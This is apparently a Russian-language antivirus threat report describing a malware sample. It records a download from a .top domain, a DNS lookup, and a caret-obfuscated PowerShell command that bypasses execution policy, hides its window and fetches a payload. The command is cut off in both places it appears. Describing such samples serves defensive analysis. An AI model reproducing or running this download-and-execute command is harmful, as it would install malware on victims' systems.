Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://toagoores.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "P^oW^E^rs^Hel^L.E^xe -^exE^cuti^ONp^ol^icy bYpa^s^S^ -^N^OpRO^f^ile -^w^IN^dOWStYl^E ^HI^D^DEn^ (nE^w^-O^B^jEcT S^y^stEm.N^E^T.WEbclI^en^t).^DOW^N^L^OaDfile('http://toagoore...
Сетевая активность
UDP
- DNS ASK to###ores.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "P^oW^E^rs^Hel^L.E^xe -^exE^cuti^ONp^ol^icy bYpa^s^S^ -^N^OpRO^f^ile -^w^IN^dOWStYl^E ^HI^D^DEn^ (nE^w^-O^B^jEcT S^y^stEm.N^E^T.WEbclI^en^t).^DOW^N^L^OaDfile('http://toagoore...' (со скрытым окном)
